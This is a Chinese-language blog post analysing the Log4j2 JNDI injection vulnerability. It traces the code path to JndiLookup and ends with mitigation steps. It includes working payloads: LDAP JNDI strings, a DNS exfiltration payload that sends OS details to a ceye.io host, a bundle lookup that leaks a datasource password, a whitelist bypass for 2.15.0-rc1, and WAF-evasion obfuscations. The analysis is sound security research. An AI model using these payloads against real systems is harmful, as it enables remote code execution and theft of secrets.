log4j 2漏洞一个半月前就已经爆出来了,现在才发分析属实有点晚。主要因为前一段时间在忙着学习汇编。在闲暇的时候跟了一下log4 j2的调用过程,简单总结一下。
Log4j2是Apache的一个开源项目,使用Log4j2可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等。也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
#基本原理
#环境配置
maven 导入log4j的jar包。
|
|
在工程目录resources下创建log4j2.xml。
|
|
#配置文件介绍
下面对配置文件中有关参数进行介绍
Configuration
为根节点,有status和monitorInterval等多个属性。status的值用于控制log4j2日志框架本身的日志级别,一般不用设置。
-
Appenders
是输出源,用于定义日志输出的地方。log4j2支持的输出源有Console、File、RollingRandomAccessFile、MongoDB、Flume等。Console
控制台输出源是将日志打印到控制台上,开发的时候一般都会配置,以便调试。-
PatternLayout
控制台或文件输出源都必须包含一个PatternLayout节点,用于指定输出文件的格式。各标记符详细含义如下:1 2 3 4 5 6 7
%d{HH:mm:ss.SSS} 表示输出到毫秒的时间 %t 输出当前线程名称 %-5level 输出日志级别,-5表示左对齐并且固定输出5个字符,如果不足在右边补0 %logger 输出logger名称,因为Root Logger没有名称,所以没有输出 %msg 日志文本 %n 换行 ...
-
-
Loggers
日志器分root日志器
和自定义日志器
,当根据日志名字获取不到指定的日志器时就使用Root作为默认的日志器。自定义时需要指定每个Logger的名称、日志级别等。此外,还需要配置一个或多个输出源AppenderRef
。每个logger可以指定一个level,不指定时默认为ERROR。低于此等级的日志信息不会被记录,只有高于或等于此等级的信息会被记录。
级别由高到低共分为6个:
fatal, error, warn, info, debug, trace
#调用过程分析
POC:
|
|
跟进logger.error()→logIfEnabled()→isEnabled()→filter()
中判断了当前调用的日志等级是否高于等于配置文件中配置的。(intLevel的值是日志等级越高,值就越小)
判断完成后回到logIfEnabled()
再进入logMessage()→...→tryLogMessage()→log()...->tryAppend()→directEncodeEvent()
直到directEncodeEvent()
函数之前没什么好说的,都是读取配置文件创建event事件等操作。
this.getLayout()
获取配置文件里设置的输出格式,并调用encode()处理event。
紧接着调用了toText方法来用不同Converter处理传入的数据,并将结果存入buffer中。 这里解释一下这10个converter对象是干什么的:
比如第一个DatePatternConverter
就是用来根据event对象中的%d{yyyy-MM-dd HH:mm:ss.SSS}
(也就是从配置文件中设置的) 转换成按照此格式的时间表示,并将值存在buffer中。所以同理,后面所有的converter就是按照配置文件中设置的输出格式转换为对应的值,并将结果添加到buffer中。
输入${jndi:ldap://127.0.0.1:3890/test}
对应的是%msg
,处理的converter是MessagePatternConverter
,也就是i=8,跟进它的format()。
首先通过event.getMessage()
获取到Message对象。再重新创建一个StringBuilder对象workingBuilder
,将之前coverter格式化好的部分赋值给workingBuilder
,并添加msg对应的字符串给此对象。
然后从之前coverter格式化好的字符串末尾开始,遍历之后的workingBuilder
字符串,直到找到${
起始的位置。找到后将${
到整个字符串末尾的值复制给value,并将workingBuilder
的长度设置为之前未拼接msg的长度,并重新添加this.config.getStrSubstitutor().replace(event, value)
的值到workingBuilder
。
这段操作意思: 如果msg中存在${
字符串,取出msg值后,就将整个msg字符串从workingBuilder
中替换掉。
然后跟入replace函数。
这里主要是对传入的msg字符串进行处理,循环查找以${
字符串开头和以}
字符串结束的位置,获取两者之间字符串,即jndi:ldap://127.0.0.1:3890/test
。(同时还会递归判断这个字符串中是否还有${
与}
)
最后进入resolveVariable()
方法。支持的Interpolator类型。
通过 var.indexOf(58)
获取:
号的索引位置,得到Interpolator前缀。再根据对应的前缀调用lookup方法。
进入到log4j的JndiLookup类的lookup方法中,通过jndi调用lookup。
#利用与绕过
#利用姿势
关于JNDI 的利用方式,可参考之前写的文章Java-JNDI分析与利用。
前面分析中可以看到,能利用的不止JNDI前缀。
|
|
外带数据: ${jndi:ldap://${java:os}.2lnhn2.ceye.io}
还可利用Bundle协议读取项目配置文件来获取敏感信息。
${bundle:application:spring.datasource.password}
#2.15.0 rc1 绕过
这个绕过有点鸡肋,需要修改配置,默认配置下是不能触发JNDI远程加载的。
简单说一下变化:
前面用到的MessagePatternConverter
这个converter 变成了MessagePatternConverter$SimpleMessagePatternConverter
可以看到没有像MessagePatternConverter那样对传入的数据进行${ 判断。而是在LookupMessagePatternConverter.format()方法中才进行了判断,并调用replaceIn()。
然而要触发这个converter,需要修改配置文件,在%msg的后面添加一个{lookups}。
同时JndiManager.lookup方法增加了白名单校验,当以ldap和ldaps协议请求就会判断请求的host。白名单里只允许本机地址。
按理说是无解的,但是在JndiManager.lookup方法中,在捕获异常后没有进行任何操作,从而能走到this.context.lookup()
。
所以只要让lookup方法在执行的时候抛个异常即可。
payload: ${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}
。在url 中增加一个空格,就会导致报错。这样连针对host的校验都能绕过。
修复: 在rc2中,catch之后就直接return了(2.15.0稳定版本不受影响)。
Tips: 提一下2.0-beta7 ≤ Log4j 2.x ≤ 2.17.0
(2.3.2 和 2.12.4 版本不受影响),如果配置文件可控,利用Log4j2 提供的 JDBCAppender 功能可以导致JNDI注入。在Log4j2 ≤ 2.16.0
的版本由于substitute函数的递归解析还能导致拒绝服务攻击。
#WAF 绕过
绕过方法一
前面提到过在处理${jndi:ldap://127.0.0.1:3890/test}
的时候会递归处理。首先循环查找${
和}
的位置,获取两者之间的字符串。前面没有说的是,找完${
和}
之后它还会查找:-
。
以${${,:-j}ndi:ldap://127.0.0.1:3890/test}
为例:
如果找到就截取:-
之前的变量赋值给varName,截取:-
到末尾的字符串赋值为varDefaultValve,然后就跳出循环。
然后使用resolveVariable() 对varName的内容进行判断,如果不匹配任何log4j2支持的协议,就返回null(这里varName的值为,
)。之后就会把varDefaultValve的值(这里为j
)赋给varValue。然后再用varValue替换整个${,:-j}
,即最后结果为jndi:ldap://127.0.0.1:3890/test
。
所以绕过方法可以是:
${任意字符串:-实际想要的字符串} = 实际想要的字符串
注意这里的任意字符串不能为log4j2 支持的Interpolator前缀。
例如: ${${fdafasdfasdfasfdas:-j}ndi:ldap://127.0.0.1:3890/test}
绕过方法二
可以看看log4j2所支持的Interpolator前缀,有哪些支持对字符串的处理。
所以可以用${lower:j}${upper:n}
等前缀来处理字符串。(部分版本不支持lower, upper等协议)
#受影响的应用
|
|
#修复与防御
- 升级到最新版
- 临时修改方法:
- jvm 添加 -Dlog4j2.formatMsgNoLookups=true 参数(版本>=2.10.0有效)
- 设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0有效)
- log4j2 < 2.10以下的版本移除JndiLookup类。
- 禁止没有必要的业务访问外网